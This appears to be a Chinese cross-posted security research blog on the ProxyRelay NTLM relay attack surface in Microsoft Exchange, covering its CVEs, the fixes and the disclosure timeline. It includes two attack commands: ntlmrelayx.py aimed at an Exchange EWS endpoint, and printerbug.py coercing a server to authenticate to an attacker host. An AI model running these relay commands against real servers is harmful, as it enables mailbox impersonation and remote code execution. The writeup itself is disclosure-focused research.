MS Exchange新攻击面分析第四部：ProxyRelay！

这是来自DEVCORE的交叉发布博客。完整系列包括：

MS Exchange新攻击面分析第一部：ProxyLogon！
MS Exchange新攻击面分析第二部：ProxyOracle！
MS Exchange新攻击面分析第三部：ProxyShell！
MS Exchange新攻击面分析第四部：ProxyRelay！

背景说明

这篇迟来的文章原本可以更早发布（原始漏洞于2021年6月报告给MSRC，遵循90天公开披露政策）。在与MSRC沟通期间，他们解释由于这是架构设计问题，需要进行大量代码修改和测试，因此希望通过累积更新(CU)而非常规补丁周二一次性解决。我们理解这一情况并同意延长截止日期。

微软最终于2022年4月20日发布Exchange Server 2019 CU 12和Exchange Server 2016 CU 23，但该补丁默认未启用。直到2022年8月9日微软才发布补丁激活方法。我们本有机会在Pwn2Own Vancouver 2021展示攻击，但出于安全研究初衷放弃了参赛计划。

技术原理

自2021年4月微软封堵Proxy系列攻击后，我们一直在探索绕过方案。当时微软通过增强CAS前端认证机制，要求所有需要Kerberos票据的HTTP请求必须先通过认证，有效阻止了未经认证的请求访问CAS后端。但Exchange真的安全了吗？

我们借鉴了打印机漏洞(Printer Bug)的思路：在Exchange架构中，后端通过检查登录身份是否拥有ms-Exch-EPI-Token-Serialization扩展权限来授权HTTP请求。由于Exchange服务器在安装时会自动加入Exchange Servers组，该组所有对象默认拥有此权限。

漏洞利用

我们发现了完整的攻击面而非单个漏洞，由此衍生出多个CVE：

CVE-2021-33768 - 中继到Exchange前端
CVE-2022-21979 - 中继到Exchange后端
CVE-2021-26414 - 中继到Exchange DCOM
CVE-2022-RESERVED - 中继到其他Exchange服务

第一轮：中继到Exchange前端

通过强制EX01发起SMB连接，使用ntlmrelayx.py将NTLM认证中继到EX02前端的EWS服务。由于中继身份是拥有Token-Serialization权限的机器账户，我们可以模拟任意用户：

1
2
3
4
5


# 终端1
$ python ntlmrelayx.py -smb2support -t https://EX02/EWS/Exchange.asmx

# 终端2 
$ python printerbug.py EX01 ATTACKER

微软通过在前端代理处理程序添加IsSystemOrMachineAccount()检查来修复此问题（CVE-2021-33768）。

第二轮：中继到Exchange后端

后端验证更为复杂，我们展示了三种攻击方式：

攻击后端/EWS：只需将目标端口从443改为444
攻击后端/RPC：通过RPC-over-HTTP协议操作邮箱
攻击后端/PowerShell：实现类似ProxyShell的利用链

微软通过强制启用IIS的扩展保护认证修复此问题（CVE-2022-21979）。

第三轮：中继到Windows DCOM

基于Exchange服务器在AD环境中的组继承特性，EX01$机器账户也是EX02的本地管理员。通过中继到MS-DCOM可以实现RCE。微软分三个阶段逐步修复此问题（CVE-2021-26414）。

时间线

详细披露过程包括：

2021年6月2日：通过MSRC门户报告漏洞
2022年4月20日：发布Exchange补丁
2022年8月18日：最终发布CVE和补丁激活文档

结语

这个系列研究历时两年，期间经历了漏洞碰撞、Pwn2Own竞赛、顶级会议演讲等事件。我们始终秉持安全研究的初心，希望通过这些发现帮助提升Exchange服务器的安全性。